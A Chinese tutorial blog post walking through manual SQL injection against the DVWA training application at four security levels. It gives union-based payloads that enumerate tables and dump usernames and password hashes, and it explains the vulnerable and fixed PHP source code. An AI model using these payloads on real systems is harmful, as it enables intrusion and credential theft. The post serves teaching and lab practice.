DVWA平台的使用Vulnerability: SQL Injection手工注入

DVWA平台的使用Vulnerability: SQL Injection手工注入

LOW

此安全级别完全脆弱,根本没有任何安全措施。它的用途是作为网络应用程序漏洞如何通过不良编码实践表现出来的示例,并用作教授或学习基本利用技术的平台。
在这里插入图片描述
首先是一个输入框,需要输入User ID的值,尝试输入1
在这里插入图片描述
可以得到正常的回显,包含First nameSurname,尝试用'英文单引号判断是否存在注入:
在这里插入图片描述
报错信息如上,可以判断出原SQL语句的闭合形式为:id='1',存在注入点,继续判断列数:

1' order by 2 #

在这里插入图片描述
尝试列数为3是报错,列数为2是回显正常,判断回显位置:

11111' union select 1,2 #

在这里插入图片描述
得到回显位置,查看当前数据库名:

11111' union select 1,database() #

在这里插入图片描述
得到当前数据库名为:dvwa,尝试猜解表名:

11111' union select 1,table_name from information_schema.tables where table_schema=database() #

在这里插入图片描述
可以知道当前有两个表:usersgustbook,我们继续访问users表中的内容:

11111' union select 1,column_name from information_schema.columns where table_name=0x7573657273 #

将其中的users转换为16进制形式:
在这里插入图片描述
得到如下所示的列名:
在这里插入图片描述
我们访问user列和password列:

11111' union select user,password from dvwa.users #

在这里插入图片描述
得到了所有的用户名和密码,密码为md5(在线解密)形式加密:
在这里插入图片描述
到此即完成了对Low级别的SQL注入

源码分析:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

传入变量id的值,未进行任何过滤即传递到数据库,产生严重的SQL注入

Medium

此设置主要是为了向不良示例的用户提供示例,其中开发人员尝试了但未能保护应用程序的安全。这也对用户完善他们的开发技术构成了挑战。
在这里插入图片描述
取消了输入框,改变成为数值选择,我们可以借助工具:


借助BurpSuite工具进行抓包修改,也可以使用Google Chrome的插件HackBar进行POST方式的传参:
在这里插入图片描述
HackBar中尝试判断是否存在注入:

Submit=Submit&id=1'

在这里插入图片描述
通过报错信息判断出:'英文单引号被转义,所以这个级别不能使用',继续注入:

Submit=Submit&id=1 order by 2 #

在这里插入图片描述
查询出有2列,判断回显点位:

Submit=Submit&id=11111 union select 1,2 #

在这里插入图片描述
得到12均存在回显,其后面的内容与Low一样,只是将注入形式由GET改为POST方式,详情语句参考Low

源码分析:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

由源码可知,Get input部分有一个函数:mysqli_real_escape_string(),此函数用来对字符串中的特殊字符进行转义, 以使得这个字符串是一个合法的 SQL 语句。 传入的字符串会根据当前连接的字符集进行转义,得到一个编码后的合法的 SQL 语句。

High

此选项是对中等难度的扩展,其中包含尝试保护代码的更困难或替代的不良做法。该漏洞可能不允许相同程度的利用,类似于各种“夺旗”(CTF)竞​​赛中的情形。

在这里插入图片描述
点击链接改变ID的值:
在这里插入图片描述
输入1
在这里插入图片描述
可以看到回显改变,我们在新页面通过Google Chrome的插件HackBar进行SQL注入判断:
在这里插入图片描述

Submit=Submit&id=2'

在这里插入图片描述
可以看到原页面报错,验证想法:

Submit=Submit&id=2' %23

在这里插入图片描述
原页面回显正常,其注入步骤与Medium一样,详情语句参考Low级别

源码分析:

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

Low级别不一样的是在新页面输入id的值,其值通过session方式存储在服务器端。

Impossible

此级别应防止所有漏洞。它用于将易受攻击的源代码与安全的源代码进行比较。
在DVWA v1.9之前,此级别被称为“高”

在这里插入图片描述
分析源码:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Check Anti-CSRF token部分:
防止CSRF攻击,Token 是在服务端产生的。如果前端使用用户名/密码向服务端请求认证,服务端认证成功,那么在服务端会返回 Token 给前端。前端可以在每次请求的时候带上 Token 证明自己的合法地位

Was a number entered?部分:
is_numeric() 函数用于检测变量是否为数字或数字字符串。
$data = $db->prepare预编译sql语句,能防止sql注入。

Make sure only 1 result is returned部分:
$data->rowCount() == 1限制了只返回一条语句。

  • 2
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值